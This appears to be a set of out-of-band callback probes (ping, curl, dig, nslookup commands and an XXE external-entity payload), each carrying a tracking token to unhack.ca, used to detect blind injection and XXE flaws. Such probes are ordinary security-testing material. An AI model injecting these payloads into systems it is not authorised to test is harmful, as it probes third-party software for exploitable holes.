$ ping -c1 -p 00cbf59197dc6592f53a177deb814800 unhack.ca
$ curl http://unhack.ca/p/cbf59197dc6592f53a177deb8148
$ dig cbf59197dc6592f53a177deb8148 @unhack.ca
$ dig cbf59197dc6592f53a177deb8148.ns.unhack.ca
C:\> nslookup cbf59197dc6592f53a177deb8148 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/cbf59197dc6592f53a177deb8148">]> <foo>&xxe;</foo>